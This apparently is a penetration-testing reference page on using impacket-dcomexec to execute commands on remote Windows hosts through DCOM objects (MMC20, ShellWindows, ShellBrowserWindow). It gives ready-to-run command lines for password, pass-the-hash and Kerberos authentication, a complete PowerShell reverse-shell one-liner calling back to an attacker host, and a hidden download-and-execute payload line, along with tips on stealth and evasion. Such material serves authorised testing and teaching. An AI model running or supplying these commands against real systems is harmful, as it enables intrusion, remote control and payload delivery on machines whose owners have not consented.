Skip to content
HackIndex logo

HackIndex

DCOM Remote Execution via MSRPC – dcomexec

5 min read Mar 31, 2026

impacket-dcomexec executes commands on a remote Windows host by interacting with DCOM objects over RPC rather than using SMB service creation or WMI. It communicates on port 135 for the initial DCOM handshake, then uses a dynamically allocated high port for the session. Because it does not create services or write to ADMIN$, it is a useful alternative when psexec and smbexec are blocked by AV or endpoint controls.

You need valid credentials or an NT hash and local admin on the target. Port 135 must be reachable. Unlike psexec and smbexec, dcomexec still requires SMB (port 445) for output retrieval — it writes command output to a temp file on ADMIN$ and reads it back. Both ports need to be open.

For purely SMB-based execution see https://hackindex.io/services/smb/exploitation/remote-code-execution.

Basic Execution

Three DCOM objects are supported. Try them in order — not all are available on every target.

MMC20.Application — the most reliable, uses the ExecuteShellCommand method:

┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object MMC20
Explain command
$DOMAIN/$USER:$PASSWORD@$TARGET_IP Target credentials and IP in domain/user:password@host format
-object MMC20 Specifies the DCOM object to use for execution (MMC20.Application)

ShellWindows — uses the ShellExecute method via the Explorer shell:

┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object ShellWindows
Explain command
$DOMAIN/$USER:$PASSWORD@$TARGET_IP Target credentials and IP in domain/user:password@host format.
-object ShellWindows Specifies the DCOM object to use for execution (ShellWindows).

ShellBrowserWindow — similar to ShellWindows but targets a different COM interface:

┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object ShellBrowserWindow
Explain command
$DOMAIN/$USER:$PASSWORD@$TARGET_IP Target credentials and IP in domain/user:password@host format.
-object ShellBrowserWindow Specifies the DCOM object to use for remote execution.

With a hash instead of password:

┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH -object MMC20
Explain command
$DOMAIN/$USER@$TARGET_IP Target credentials and host in DOMAIN/USER@IP format.
-hashes :$NTHASH Authenticate using NTLM pass-the-hash; LM hash omitted.
-object MMC20 Use MMC20.Application DCOM object for remote execution.

With a Kerberos ticket:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/path/to/ticket.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass -object MMC20
Explain command
$DOMAIN/$USER@$TARGET_HOSTNAME Target specified as domain/user@hostname for Kerberos authentication.
-k Use Kerberos authentication via the credential cache.
-no-pass Do not prompt for a password; rely on Kerberos ticket.
-object MMC20 Use the MMC20.Application DCOM object for execution.
KRB5CCNAME=/path/to/ticket.ccache Sets the Kerberos credential cache file path for ticket use.

Use the hostname rather than the IP with Kerberos — ticket validation is hostname-based.

Single Command Execution

Run a single command without opening an interactive shell by appending it to the command line:

┌──(kali㉿kali)-[~]
└─$ impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object MMC20 "whoami /all"
Explain command
$DOMAIN/$USER:$PASSWORD@$TARGET_IP Target credentials and IP in domain/user:password@host format.
-object MMC20 Specifies the DCOM object to use; MMC20 targets MMC Application class.
"whoami /all" Remote command to execute on the target via DCOM.

Useful for one-shot enumeration or dropping a payload without maintaining an interactive session.

Getting a Reverse Shell

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, displays connection details.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Variable placeholder for the local listening port number.

Execute a PowerShell reverse shell from the dcomexec prompt:

C:\Users\Guest\Desktop> powershell -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Explain command
-nop Disables PowerShell profile loading (NoProfile).
-w hidden Runs PowerShell window in hidden mode to avoid visibility.
-c Executes the following string as a PowerShell command (Command).
$LHOST Placeholder for the attacker's listening IP address.
$LPORT Placeholder for the attacker's listening TCP port number.

Or download and execute a hosted payload:

C:\Users\Guest\Desktop> powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')"
Explain command
-nop Disables loading of PowerShell profile scripts on startup.
-w hidden Runs PowerShell with a hidden window, concealing execution.
-c Executes the specified command string and exits.
IEX Alias for Invoke-Expression; executes a string as a PS command.
New-Object Net.WebClient Instantiates a .NET WebClient object for HTTP requests.
.DownloadString(...) Downloads remote URL content as a string for execution.
$LHOST Attacker-controlled host serving the remote PowerShell payload.

Noisy Profile

dcomexec is more network-visible than wmiexec. It uses port 135 for the initial RemoteCreateInstance call to IRemoteSCMActivator, followed by a dynamically allocated high port (typically 49000+) for the DCOM session, and still hits port 445 for output. Defenders watching for Impacket tooling can detect the RemoteCreateInstance pattern on port 135 reliably.

If stealth matters and SMB execution is not an option, wmiexec is quieter — it avoids the port 135 exposure. Use dcomexec when wmiexec fails or the specific DCOM execution path is needed.

When dcomexec Fails

If MMC20 returns an error or hangs, try the other objects before abandoning the technique. ShellWindows requires an active Explorer session on the target — it fails on Server Core installs and headless servers. ShellBrowserWindow has the same Explorer dependency. MMC20 works on most Windows Server targets regardless of interactive session state.

If all three objects fail, check that DCOM is not explicitly disabled via HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM on the target.

References